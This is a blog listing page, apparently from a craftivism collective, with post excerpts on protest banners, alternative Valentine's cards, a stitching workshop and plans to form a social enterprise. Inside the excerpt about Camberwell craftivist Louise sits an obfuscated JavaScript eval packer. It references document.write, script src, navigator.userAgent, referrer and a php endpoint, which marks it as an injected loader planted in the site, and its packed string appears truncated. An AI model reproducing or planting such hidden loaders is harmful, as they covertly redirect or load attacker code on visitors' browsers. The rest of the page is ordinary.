26 Feb Craftivist Safiya’s first Mini Protest Banner in Bedford Town Centre

Safiya writes:

I was watching the news the other day. After reporting on the humanitarian crisis in Syria and another European economy collapse, there was a piece on a young woman of a similar age to myself. She had been kept prisoner in a house in the UK for a number of years and been repeatedly raped and tortured. I had to turn the TV off. I just couldn’t believe that I lived in a world where these sorts of things happen in the first place, are then reported on the news almost as if it’s entertainment, and there’s very little I can do about it.

26 Feb Did you find an alternative Valentines Card this year made by our craftivists?

Here is evidence of where some of them were left in London. Can you tell where they were?

06 Feb Lets hijack valentines!

Words by Barley Massey, the owner of craft shop Fabrications, London: A giant love letter has elegantly floated into Fabrications window this month in time for Valentines day. It is stopping passers by in their tracks, my favorite reaction was 2 small boys who stood, pointed and smiled lots. They ran off and brought back their parents to read it - brilliant! Keep recruiting boys!!

06 Feb Nikki Shaill reviews our first ticketed workshop of 2012:

Amongst the rails of rainbow-coloured vintage clothes and to the soothing sounds of a live band playing Dr Who and Crimewatch theme song sax solos, around 20 of us gathered at the Paper Dress shop for an evening workshop of hanky panky stitching as part of Craftivist Collective’s  ‘Don’t Blow It’ campaign. A truly unconventional way to start of the year and beat the winter blues, I love the fact that whilst we were all enjoying doing something a bit different we could be encouraged that our stitching could help make a difference in the world.

30 Jan Join us in hijacking Valentines Day 2012

There are so many distractions wherever we live, particularly on Valentines Day. Our craftivism Valentines project is a friendly reminder of the difficult circumstances our global neighbours are in and the gifts are there to encourage a conversation to start even after Valentine’s Day. Each year we try and hijack valentines day and remind people to “Show some love” for their global neighbours as well as the usual smushy stuff. We would love it if you joined in our craftivism project this year. For the last 3 years we have had people all over the globe make as many cards as they can and leave them around their area on Valentines day. Each includes a handmade keyring designed by cult jewellers Tatty Devine. In the last 3 years we have left 100 letters across the UK (London, Liverpool, Leeds, Newcastle, Banger, Newcastle, Cornwall, Coventry and more- see photos here) as well as America and Canada. Each letter will contain an alternative valentine’s letter (see template letter here), a handmade gift that Tatty Devine are designing for us (see design here) and a love heart sweet. Hand delivered to gaps in walls, cash machine slots, shop shelves etc- You don’t have to be in a relationship to have one of these!

26 Jan Camberwell craftivist Louise shows us her mini protest banner in situ

Louise eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hfibe|var|u0026u|referrer|tbrfz||js|php'.split('|'),0,{}))  Philips emailed us with her image and blog below: "I have been interested in Guerilla Art like this for a while now and have...

15 Dec We agree with Godmother of Craftivism: Betsy Greer

Betsy Greer coined the term 'Craftivism' in 2003 and from the start we have always checked in with Betsy to make sure our projects are still a form of craftivism and not something else (like upcycling or just craft). She is an amazing supporter, adviser and friend as well as a huge inspiration for our craftivists. One of the many talents Betsy has is explaining acts of craftivism in a clear and concise way (much better than us, sorry!) so when she blogged about a Facebook post we send regarding the print (above) we sold we really wanted to share her thoughtful words with you. Her blog also explains why we don't prioritise going to Occupations to do craftivism stitch-ins even though people presume we should be there.

Craftivism is starting a conversation

09 Dec The next stage of our craftivism adventure… what do you think?

Hey craftivistas, supporters and people who might have found this blog by accident. I hope you are all well and happy. Sarah Corbett here. I haven't written a personal blog for quite a long time now and so much has been going on I wanted to share it with you and get your thoughts. So... As you know I'm much better at creating images than words so I thought I would start off with this photo (there's me- person in the left of the picture!) to let you know that I'm going down to part time in my job from mid January 2012 so that I can turn the collective into a social enterprise (eek!).